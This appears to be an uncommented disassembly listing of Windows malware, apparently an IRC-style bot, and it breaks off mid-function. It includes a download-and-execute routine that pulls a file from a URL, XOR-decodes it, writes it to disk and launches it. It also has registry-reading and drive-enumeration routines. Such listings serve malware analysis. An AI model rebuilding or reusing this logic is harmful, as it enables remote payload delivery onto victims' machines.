loc_4146B2:				; CODE XREF: .nsp0:00414683j
					; .nsp0:0041469Cj
		inc	dword ptr [ebp+14h]
		add	esi, 80h
		cmp	esi, offset dword_4E8510
		jl	short loc_414679


loc_4146C3:				; CODE XREF: .nsp0:0041467Fj
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4146C7	proc near		; CODE XREF: sub_401CC1+2311p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4E4510
		xor	ecx, ecx


loc_4146CE:				; CODE XREF: sub_4146C7+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4E8510
		jl	short loc_4146CE
		cmp	[esp+arg_C], ecx
		jnz	short loc_4146FC
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_44D1B0
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_408EB9
		add	esp, 14h


loc_4146FC:				; CODE XREF: sub_4146C7+19j
		push	offset dword_44D1C4
		call	sub_41458A
		pop	ecx
		retn
sub_4146C7	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, offset dword_4E4510


loc_41470E:				; CODE XREF: .nsp0:0041472Fj
		cmp	byte ptr [esi],	0
		jz	short loc_414723
		push	dword ptr [esp+8]
		push	esi
		call	sub_415E06
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_414735


loc_414723:				; CODE XREF: .nsp0:00414711j
		add	esi, 80h
		cmp	esi, offset dword_4E8510
		jl	short loc_41470E
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_414735:				; CODE XREF: .nsp0:00414721j
		push	1
		pop	eax
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41473A	proc near		; DATA XREF: sub_401CC1+23C1o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_41478D
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_44D1D8
		push	eax
		push	[ebp+var_11C]
		call	sub_408EB9
		add	esp, 14h


loc_41478D:				; CODE XREF: sub_41473A+33j
		cmp	[ebp+var_98], 0
		jz	short loc_4147AD
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_41B3F0
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_4147AD
		mov	[ebp+var_8], eax


loc_4147AD:				; CODE XREF: sub_41473A+5Aj
					; sub_41473A+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_4E4510


loc_4147B6:				; CODE XREF: sub_41473A+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_414810
		cmp	byte ptr [esi],	0
		jz	short loc_4147FF
		cmp	[ebp+var_98], 0
		jz	short loc_4147E5
		cmp	[ebp+var_4], 0
		jnz	short loc_4147E5
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_415E06
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4147FF


loc_4147E5:				; CODE XREF: sub_41473A+90j
					; sub_41473A+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_408EB9
		add	esp, 14h


loc_4147FF:				; CODE XREF: sub_41473A+87j
					; sub_41473A+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_4E8510
		jl	short loc_4147B6


loc_414810:				; CODE XREF: sub_41473A+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_44D1F4
		push	eax
		call	sub_41B740
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_41484A
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_408EB9
		add	esp, 14h


loc_41484A:				; CODE XREF: sub_41473A+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_41458A
		push	[ebp+var_18]
		call	sub_40AB19
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4F1388	; ExitThread
		pop	edi
		pop	esi
sub_41473A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414869	proc near		; CODE XREF: sub_401CC1+2125p

var_3F0		= byte ptr -3F0h
var_2EC		= byte ptr -2ECh
var_EC		= byte ptr -0ECh
var_6C		= byte ptr -6Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F0h
		push	edi
		xor	edi, edi
		cmp	off_44D214, edi
		mov	[ebp+var_8], 80h
		jz	loc_414A1A
		push	ebx
		push	esi
		mov	eax, offset off_44D214
		mov	esi, offset dword_44D220


loc_414894:				; CODE XREF: sub_414869+1A9j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	edi
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4E090C
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_EC]
		push	eax
		push	edi
		push	edi
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4E07B0
		test	eax, eax
		jnz	loc_414A00
		mov	eax, [esi]
		cmp	eax, edi
		jz	loc_4149C0
		push	eax
		lea	eax, [ebp+var_EC]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	offset aSS_9	; "%s\\%s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_3F0]
		push	offset aR_2	; "r"
		push	eax
		call	sub_41B170
		mov	ebx, eax
		add	esp, 18h
		cmp	ebx, edi
		jz	loc_414A00


loc_41490B:				; CODE XREF: sub_414869+C9j
		push	ebx
		lea	eax, [ebp+var_6C]
		push	64h
		push	eax
		call	sub_41BC90
		add	esp, 0Ch
		test	eax, eax
		jz	loc_4149B7
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_6C]
		push	eax
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41490B
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41C400
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414977
		lea	eax, [ebp+var_6C]
		push	offset asc_44E4E8 ; "="
		push	eax
		call	sub_41C550
		push	offset asc_44E4EC ; "="
		push	edi
		call	sub_41C550
		push	eax
		lea	eax, [ebp+var_2EC]
		push	dword ptr [esi-4]
		push	offset dword_44E4F0
		push	eax
		call	sub_41B740
		add	esp, 20h
		jmp	short loc_414992
; ---------------------------------------------------------------------------


loc_414977:				; CODE XREF: sub_414869+D9j
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	dword ptr [esi-4]
		push	offset dword_44E508
		push	eax
		call	sub_41B740
		add	esp, 10h


loc_414992:				; CODE XREF: sub_414869+10Cj
		push	edi
		lea	eax, [ebp+var_2EC]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_41458A
		add	esp, 18h


loc_4149B7:				; CODE XREF: sub_414869+B3j
		push	ebx
		call	sub_418D80
		pop	ecx
		jmp	short loc_414A00
; ---------------------------------------------------------------------------


loc_4149C0:				; CODE XREF: sub_414869+65j
		lea	eax, [ebp+var_EC]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	dword ptr [esi-4]
		push	offset dword_44E520
		push	eax
		call	sub_41B740
		push	edi
		lea	eax, [ebp+var_2EC]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_41458A
		add	esp, 28h


loc_414A00:				; CODE XREF: sub_414869+5Bj
					; sub_414869+9Cj ...
		push	[ebp+var_4]
		call	dword_4E087C
		add	esi, 18h
		cmp	[esi-0Ch], edi
		lea	eax, [esi-0Ch]
		jnz	loc_414894
		pop	esi
		pop	ebx


loc_414A1A:				; CODE XREF: sub_414869+19j
		pop	edi
		leave
		retn
sub_414869	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414A1D	proc near		; DATA XREF: sub_401CC1+5A30o
					; sub_401CC1+6151o

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_4E0854
		call	dword_4E07B4
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_414EA9
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		call	dword_4F13A8	; CreateFileA
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_414AE4
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_44E538
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_414AC7
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_408EB9
		add	esp, 14h


loc_414AC7:				; CODE XREF: sub_414A1D+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_41458A
		push	[ebp+var_48]
		call	sub_40AB19
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4F1388	; ExitThread


loc_414AE4:				; CODE XREF: sub_414A1D+68j
		xor	edi, edi
		call	dword_4F1364	; GetTickCount
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_418ED0
		pop	ecx
		mov	[ebp+var_1C], eax


loc_414AFE:				; CODE XREF: sub_414A1D+1B4j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_4E07BC
		cmp	[ebp+var_34], esi
		jz	short loc_414B42
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_414F0F
		pop	ecx
		pop	ecx


loc_414B42:				; CODE XREF: sub_414A1D+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	dword_4F139C	; WriteFile
		cmp	edi, ebx
		jnb	short loc_414B80
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_414B6A
		mov	eax, [ebp+arg_0]


loc_414B6A:				; CODE XREF: sub_414A1D+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	near ptr sub_41C8D0
		add	esp, 0Ch


loc_414B80:				; CODE XREF: sub_414A1D+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_414B8D
		cmp	edi, [ebp+var_3C]
		ja	short loc_414BD7


loc_414B8D:				; CODE XREF: sub_414A1D+169j
		cmp	[ebp+var_44], 1
		mov	eax, edi
		jz	short loc_414BA7
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_44E560
		jmp	short loc_414BB7
; ---------------------------------------------------------------------------


loc_414BA7:				; CODE XREF: sub_414A1D+176j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_44E588


loc_414BB7:				; CODE XREF: sub_414A1D+188j
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_4535C8
		push	eax
		call	sub_41B740
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_414AFE


loc_414BD7:				; CODE XREF: sub_414A1D+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_414C2C
		cmp	edi, [ebp+var_3C]
		jz	short loc_414C2C
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_44E5B0
		push	eax
		call	sub_41B740
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_408EB9
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_41458A
		add	esp, 28h


loc_414C2C:				; CODE XREF: sub_414A1D+1C4j
					; sub_414A1D+1C9j
		call	dword_4F1364	; GetTickCount
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	dword_4F1324	; CloseHandle
		push	[ebp+var_1C]
		call	sub_419940
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_414CB6
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_414CB6
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_44E5DC
		push	eax
		call	sub_41B740
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_408EB9
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_41458A
		add	esp, 28h


loc_414CB6:				; CODE XREF: sub_414A1D+241j
					; sub_414A1D+253j
		cmp	[ebp+var_14], esi
		jz	loc_414EF6
		cmp	[ebp+var_44], 1
		jz	loc_414DB1
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_437490
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_437490
		fstp	[esp+590h+var_590]
		push	offset unk_44E604
		push	eax
		call	sub_41B740
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_414D31
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_408EB9
		add	esp, 14h


loc_414D31:				; CODE XREF: sub_414A1D+2F2j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_41458A
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_414EF6
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen_2	; "open"
		push	esi
		call	dword_4E0818
		cmp	[ebp+var_30], esi
		jnz	loc_414EF6
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_44E644
		push	eax
		call	sub_41B740
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_408EB9
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_41458A
		add	esp, 24h
		jmp	loc_414EF6
; ---------------------------------------------------------------------------


loc_414DB1:				; CODE XREF: sub_414A1D+2A6j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_437490
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_437490
		fstp	[esp+590h+var_590]
		push	offset unk_44E660
		push	eax
		call	sub_41B740
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_414E19
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_408EB9
		add	esp, 14h


loc_414E19:				; CODE XREF: sub_414A1D+3DAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_41458A
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B190
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B190
		add	esp, 1Ch


loc_414E45:				; DATA XREF: .nsp0:0045200Co
		mov	[ebp+var_310], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_304], offset dword_4E8570
		push	1
		mov	[ebp+var_2E0], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_2E4], edi
		call	dword_4F1328	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_414E9B
		call	dword_4E0804
		call	sub_41615A
		push	esi
		call	dword_4F1320	; ExitProcess


loc_414E9B:				; CODE XREF: sub_414A1D+46Aj
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_44E6A4
		jmp	short loc_414EB5
; ---------------------------------------------------------------------------


loc_414EA9:				; CODE XREF: sub_414A1D+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_44E6D8


loc_414EB5:				; CODE XREF: sub_414A1D+48Aj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_414EE9
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_408EB9
		add	esp, 14h


loc_414EE9:				; CODE XREF: sub_414A1D+4AAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_41458A
		pop	ecx


loc_414EF6:				; CODE XREF: sub_414A1D+29Cj
					; sub_414A1D+325j ...
		push	[ebp+var_18]
		call	dword_4E08D0
		push	[ebp+var_48]
		call	sub_40AB19
		pop	ecx
		push	esi
		call	dword_4F1388	; ExitThread
sub_414A1D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_414F0F	proc near		; CODE XREF: sub_414A1D+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_414F2B


loc_414F1B:				; CODE XREF: sub_414F0F+1Aj
		mov	dl, byte_43A094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_414F1B

locret_414F2B:				; CODE XREF: sub_414F0F+Aj
		retn
sub_414F0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_414F2C	proc near		; CODE XREF: sub_401CC1+5005p
					; sub_401CC1+5137p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41DEA0
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_414F2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414F46	proc near		; CODE XREF: sub_40F483+45Dp
					; sub_40F483+5F9p ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4E8574
		push	0
		push	edi
		call	sub_41B190
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_414F6B:				; CODE XREF: sub_414F46+5Bj
					; sub_414F46+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41DF70
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41DF00
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_414FA9
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_414F6B
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_414F6B
; ---------------------------------------------------------------------------


loc_414FA9:				; CODE XREF: sub_414F46+4Bj
		dec	esi
		mov	eax, edi


loc_414FAC:				; CODE XREF: sub_414F46+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_414FBB
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_414FAC
; ---------------------------------------------------------------------------


loc_414FBB:				; CODE XREF: sub_414F46+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414F46	endp


; =============== S U B	R O U T	I N E =======================================



sub_414FC5	proc near		; CODE XREF: sub_41517A+51p
					; sub_41517A+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4E08FC
		sub	eax, 0
		jz	short loc_415008
		dec	eax
		jz	short loc_415002
		dec	eax
		dec	eax
		jz	short loc_414FFC
		dec	eax
		jz	short loc_414FF6
		dec	eax
		jz	short loc_414FF0
		dec	eax
		jz	short loc_414FEA
		mov	eax, offset dword_44E730
		retn
; ---------------------------------------------------------------------------


loc_414FEA:				; CODE XREF: sub_414FC5+1Dj
		mov	eax, offset off_44E72C
		retn
; ---------------------------------------------------------------------------


loc_414FF0:				; CODE XREF: sub_414FC5+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_414FF6:				; CODE XREF: sub_414FC5+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_414FFC:				; CODE XREF: sub_414FC5+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_415002:				; CODE XREF: sub_414FC5+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_415008:				; CODE XREF: sub_414FC5+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_414FC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41500E	proc near		; CODE XREF: sub_415056+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4E07A0
		test	eax, eax
		jz	short loc_415043
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_415043:				; CODE XREF: sub_41500E+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_41500E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415056	proc near		; CODE XREF: sub_41517A+17p
					; sub_41897B+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41500E
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_415130
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_415130
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_415130
		mov	edi, 400h
		push	0
		push	edi
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41DFF0
		push	edx
		push	eax
		call	sub_414F46
		push	eax
		mov	esi, 80h
		push	offset aSkb	; "%sKB"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B910
		add	esp, 18h
		push	0
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41DFF0
		push	edx
		push	eax
		call	sub_414F46
		push	eax
		push	offset aSkb_0	; "%sKB"
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41B910
		add	esp, 18h
		push	0
		push	edi
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41DFF0
		push	edx
		push	eax
		call	sub_414F46
		push	eax
		push	offset aSkb_1	; "%sKB"
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41B910
		jmp	short loc_415163
; ---------------------------------------------------------------------------


loc_415130:				; CODE XREF: sub_415056+2Cj
					; sub_415056+3Bj ...
		lea	eax, [ebp+var_198]
		push	offset aFailed	; "failed"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_118]
		push	offset aFailed_0 ; "failed"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_98]
		push	offset aFailed_1 ; "failed"
		push	eax
		call	sub_41B740


loc_415163:				; CODE XREF: sub_415056+D8j
		mov	eax, [ebp+arg_0]
		add	esp, 18h
		lea	esi, [ebp+var_198]
		mov	edi, eax
		push	60h
		pop	ecx
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_415056	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41517A	proc near		; CODE XREF: sub_41524C+17p
					; sub_41524C+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_415056
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed_2 ; "failed"
		rep movsd
		push	eax
		call	sub_41C4C0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4151ED
		push	ebx
		push	ebx
		call	sub_414FC5
		pop	ecx
		push	eax
		push	offset unk_44E76C
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B910
